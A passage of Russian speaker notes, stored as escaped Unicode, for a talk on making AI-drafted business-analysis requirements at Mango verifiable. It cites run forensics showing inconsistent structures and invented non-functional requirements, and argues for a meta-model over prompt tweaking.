\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c 